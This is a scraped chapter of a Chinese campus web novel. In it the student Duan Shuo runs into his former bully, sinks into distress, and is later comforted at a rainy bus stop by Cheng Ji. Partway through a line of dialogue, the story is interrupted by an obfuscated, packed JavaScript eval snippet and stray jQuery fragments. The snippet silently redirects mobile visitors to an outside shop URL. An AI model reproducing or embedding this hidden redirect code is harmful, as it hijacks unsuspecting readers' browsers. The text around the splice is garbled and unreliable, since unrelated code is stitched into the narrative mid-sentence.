文趣网 > 其他小说 > 温愈[校园] > 40. 打击
    段烁将刚买下的小夜灯放进自己的书包,小心地从店里面走出。

    路上的人更多,人流简直达到了一个年度巅峰。

    周围的声音嘈杂聒耳,段烁敛眉朝着人较少的玻璃幕墙边走去。

    等到了饭点,路上的人应该会少很多,他心想。

    他侧目望向窗外,玻璃内侧布着一层“水雾”,段烁伸手轻轻擦拭。

    冬雨朦胧了街景,今早出发时的暖阳已然无处寻觅。

    段烁打开手机里的日历,开始数着日子,盘算着这份礼物寄出的时间。

    突然,段烁听见一个脚步声正在朝他靠近,但他没多大在意,只以为是向他一样过来避避热闹的人。

    可这时,段烁就感觉自己的衣领被人从后面拎住,勒得他有些喘不过气来。

    他将手机灭屏,以为这样做的人估计只有自己的父亲段仁,不慌不忙地将手机灭屏,道:“段仁,你都多大人了还……”

    “段烁。”

    是一个陌生的声音。

    不。

    不是陌生人。

    那人嘴里衔着一支未点燃的烟,烟身挑逗似的滑过段烁越来越紧绷的脸颊,忽而低笑,笑声带着轻蔑和嘲讽。

    段烁双拳紧攥,眼里翻腾着墨色的暗潮。

    “怎么,忘记我是谁了?”他说着,手上的力道却逐渐加重。

    段烁牙关紧咬,半晌才缓缓道:“魏弈风。”

    身后的人笑意更甚,放开了揪住段烁衣领的那只手。

    段烁转身,脑海中设想了无数遍的重逢时的坦然和勇气,却在对上那双棕色瞳仁后彻底粉碎。

    一时间,段烁感觉自己什么也听不见了。

    印象里那个恐怖得如同魔鬼一般的人,现在不过只比他高了五厘米。但那份恐惧却并不会因为身高差距的减小而减少半点。

    段烁的眼神一点点变得空洞,他似乎是在凝视着面前人,但思绪早已不知去向。

    呼吸变得困难,呼吸的节奏也变得紊乱。

    那些装饰着店门的红色窗花也扭曲变形,似乎又咆哮着要将视野里的其他色彩夺去。

    记忆回到那日巷角,魏弈风一身黑衣,手指夹着烟头挑起他的下巴,丝毫不顾那烟头灼烧段烁的下颚,他用着平静的语气道:“你说,告状的人,是不是应该付出一些代价?”

    魔鬼的目光,凶狠厌恶,穿过时空,再次凝视着段烁。

    那声音,在他耳畔响起,明明是想象,却真实得如同现实一般。

    直到那只大手粗暴地拉开他外套的拉链,段烁单肩背着的背包也掉落在地,他才从那混沌之中惊醒,下意识地想要护住自己的校徽,可惜已经迟了。

    黑白外套下,是缝着校徽的蓝色校服。

    段烁将校徽遮住之时,慌张看向魏弈风。那笑意在面前人的眼底化开,段烁知道,他看见了。

    “可以啊,在二中,好学校。”魏弈风笑着耸耸肩,然后也拉开自己的外套拉链,段烁有些涣散的目光落在那校徽上,顿时感觉自己全身的血液都凝固住了。

    魏弈风他在……二中的一个附属中学……

    每年,都会有那么几个二中附中的学生来到二中本部,有的是关系户,有的是尖子生,但都会成为二中正式学生。

    也就是说……

    “段烁,咱们以后再见。”

    段烁已经不知道魏弈风是什么时候走的了,他感觉自己身上的热量在一点点散失,身上的力气都被抽空了一般。意识在现实和回忆中来回,两者之间的界限已经模糊不清。

    电话不知第几次响起,段烁才回过神,木木地接通。

    “小烁,你人呢?打你电话也不接,你那边好吵,该不会还在三楼吧?”段仁在那边自顾自猜测着,“快点来负一楼,你该不会又忘记地方了吧?”

    段烁的眼睫微颤,听着熟悉的声音在耳畔响起,就感觉自己不再是水藻一般被回忆的浪潮折磨,那种寻不着根、悬在中间无所依傍的感觉缓缓褪去。

    “喂,段烁,你能听见我说话吗?”

    “能……能听见。”

    “能听见你还愣着干嘛?早点过来,我们买完就撤,人太多了。”

    “爸,我想先回家,你和妈去买吧。”

    段烁感觉对面那边的段仁似乎一愣,然后听见段仁不解道:“我们不都说好了吗?你是……你是不舒服吗?那你告诉我你在哪个店铺旁边,我和你妈妈带你去医院。”

    听见“去医院”这三个字,段烁的神经被狠狠牵动,没经思考就道:“我没事,就……”

    “就什么?”

    段烁的喉结滚动,像是极力咽下了那一大团复杂情绪,然后语气平常道:“就觉得跟你们买年货挺没效率的。”

    他说罢,捡起地上的背包,开始朝着楼下超市走去,感觉对面的段仁无语了一阵,然后继续如常催促:“快点的,就给你两分钟啊。”

    “知道了。”

    等段烁勉强收拾好情绪站在段仁和杜莹面前时,他们却没有了打电话时候的玩笑意味。

    段仁见段烁一张脸失血到连唇色都苍白,担忧道:“小烁,你脸色怎么这么难看?”

    “哪有,光线问题。”段烁借口想要支开话题。

    “小烁,是不是头又疼了?”杜莹挽着他的胳膊,似乎担心他随时都会晕过去。

    “没有,妈,我没事。”

    在段烁的坚持下,三人还是一起去把年货置办好,但一路上,段烁都魂不守舍。

    出购物广场的时候,外面下着雨。段仁还没把伞撑开,段烁就丝毫不顾地往雨里走,而且一直走,像是感觉不到头顶的冰冷和身后的他们。

    “段烁,下雨了!”段仁忙撑伞朝段烁走去,“都说了你不能淋雨,你还逞强!”

    “哦。”

    回到家,段烁似乎也没什么心情吃饭,段仁做的满桌子饭菜他吃得面无表情,面对段仁开玩笑的质问,他也不想应答。

    坐在书桌前良久,他才想起背包里的那个小夜灯。

    今天,包好像掉地上了。

    段烁小心翼翼地打开包装盒,里面的灯壳果然已经摔碎了。

    那个笑脸从中间裂开,段烁双手捧着,无意识地想要拼凑。

    却随着指尖的触碰,原本就布满裂缝的灯壳彻底碎裂,塑料外壳碎成几瓣。

    他指尖微颤,甚至拿出胶水,赌气一般想要拼凑,从日落时分一直到夜深人静。

    几次拼好,又不满意,再拆,再拼。

    精疲力竭之时,他似乎觅得一个答案。

    扭头,已是灯火阑珊。

    月光星光被云层遮盖。

    “拼不好了,不是原来的笑脸了。”他喃喃道,“太阳碎了,就拼不回去了。”

    “拼回去的也不是原来那个我了。”

    “人一旦懦弱,便再也勇敢不起来了。”

    ……

    三天后。

    程霁跟关羽琴她们约好,早早地就坐地铁来到市中心。

    刚从地铁站出来,就看见一座购物商场。

    天空飘着小雨,身上的羽绒服似乎也抵挡不住这份湿冷,见离约定的时间还早,程霁刚想进去,就瞥见一个熟悉的身影从自己侧后方而过。

    她回头,盯着那背影好半晌,才犹豫地快步赶上。

    路面湿滑,她不敢走得太快,但好在那人走得也慢,拖着步子,漫无目的地走。

    他的头发被雨水淋了个半湿,雨珠不时从他的鬓角滑落,划过他苍白的脸颊,最后又没入黑色的口罩。

    在这十度左右的天气里,他穿得很单薄,只有一件黑色卫衣,外面披着一件黑色薄外套。

    越近,程霁觉得他越像段烁。

    只是在她印象里,段烁似乎从来没有这样低着头、脚步拖沓地走路。

    她快走几步超过他,原以为他会叫住她,但是,没有。

    她回头,仰头看向那双眼睛,却错愕地发现那双不时带着笑、不时亮光点点的眼睛里尽是灰暗,眼睫似乎要将眼底的情绪全部遮住一般。

    他好像很累,好像一碰就碎。

    明明他都快走到她的跟前了,可他还是没注意到她。

    她都怀疑自己是不是认错人了。

    “段烁!”她叫他的名字。

    像是一颗石子扰乱了一滩死水,段烁抬头,与她目光相对。

    他很慌,眼神不停躲闪,插在口袋的手也不知如何安放。

    他顿住脚步,没再往前走,慌乱的动作过后,是他很沉的声音,有些挫败:“你怎么在这?”

    “你怎么不打伞啊?”程霁盯着他拿在手上的伞,问道。

    “我……我不知道下雨了……你过来是?”

    “我跟朋友约好了来这里玩。”

    段烁点点头,然后依旧站定在原地,道:“那你快

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17951027|214166||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    去吧。”

    雨珠依旧不留情地打在他的头上身上,他眼底的笑意分明仍在,却和之前不太一样了。

    面对这样的段烁,程霁不知如何开口,只好道:“我们……去公交站台坐坐吧……”

    他垂下眼睫,道:“算了吧,你快去,别让你朋友等急了。”

    “她们会迟到半小时,而我又提前了半小时。”

    他像是寻不着借口,只好点点头答应了。

    公交站台上,段烁垂着头,程霁看不清他眼里的情绪。

    程霁递给他纸巾,让他擦一擦头上的雨水。

    他只是按照她说的照做。

    “你是生病了吗?”程霁问道。

    “没有。”

    “那为什么要戴口罩?”

    程霁刚问完,段烁就将口罩摘下,像是一台输入指令就作出动作的机器一般。

    “……”

    她盯着段烁绷成一条线的嘴唇,感觉到他在极力克制些什么。

    “段烁,你不开心吗?”

    段烁摇摇头,露出一个极为勉强的笑,然后道:“没有啊。”

    “你在说谎。”

    段烁始终没回望,而是将头埋得更低,很轻地“嗯”了一声。

    “为什么不开心啊?”程霁轻声问。

    很久,很久,段烁都没有说话,像一座雕塑。

    程霁起身,似乎想说什么,但又住口了。

    “你要去跟朋友见面了吗?”段烁说这话时声音带着沙哑,依旧没有抬头看他,“没事,快去吧,不用管我。”

    程霁想解释,可段烁却稍稍将身子转了一个角度,用后背对着她。

    “你能帮我,看一下包吗?”程霁将背包放在座位旁边,同时问道。

    段烁沉默了一会儿,道:“嗯,我不急着回去。”

    程霁快步朝着不远处的一家奶茶店走去,心里似乎也变得酸涩。

    她总感觉刚才段烁是误会她的意思了。

    他该不会以为她是要去和朋友见面,还嫌带上包麻烦,请他看着?

    可正常人不会这么想吧。

    而且他怎么不问原因就答应了?

    程霁在等待的过程中,心里有些后悔,她就应该跟他说清楚再来的。要是他误会了,一个人坐在那里吹冷风,肯定会委屈吧。

    就不该担心段烁会拦着她不让她去买。

    虽然她觉得段烁很可能这样做。

    雨天,奶茶店里没几个人,订单应该是很快就做好了。

    但是程霁感觉过去了很久。

    她朝着公交站那边张望,座位却被站牌遮挡。

    公交车过了两辆,也不知道段烁会不会一时觉得生气而走了。

    拿到两杯奶茶以后,程霁甚至觉得打伞都浪费时间,小跑着朝公交站台奔去。

    也不知是怎么了,她很惶恐。

    脚步捡起水花,雨滴落在头上很冷。

    可段烁像是淋了很久的雨,又怎么会不知道下雨了呢?

    “段烁!”

    她绕过站牌,看见段烁还在原地坐着,望着水洼发呆。

    程霁放缓脚步,她小心翼翼地打量着段烁的侧脸,他的唇角向下弯着,眼里有些湿。

    看见他这副模样,程霁心里就像是被扯了一下一般。

    段烁像是一只淋了雨的小狗,耷拉着耳朵坐在那里。

    她走近,又唤他的名字。

    这次,他抬头,没了先前的矜持和克制,迎上她的目光。

    此刻她才发现,段烁的眼圈有些红肿,像是夜里哭泣留下的证据。

    程霁怔住了,她不知所措地看着段烁。

    他望着她,笑中带着几分苦涩:“怎么这么快就回来了?不是去跟她们玩了吗?”

    程霁抱着两杯奶茶,心里更加愧疚。

    段烁还真是误会了。

    “还是东西没拿?”他继续追问,可语气却明显更低落了。

    程霁坐在他身旁,低声道:“确实有东西没带上。”

    段烁低眉,将包拿起来,递给她,头却别向另一边,脸颊紧绷着。

    在雨景下,段烁的倔强模样似乎都更添几分凄凉。

    明明就很想让她陪着。

    却又不说话。

    还总喜欢误会,总喜欢催她走。

    程霁没有接过包,而是注视着他,一字一顿强调道:“没带上你。”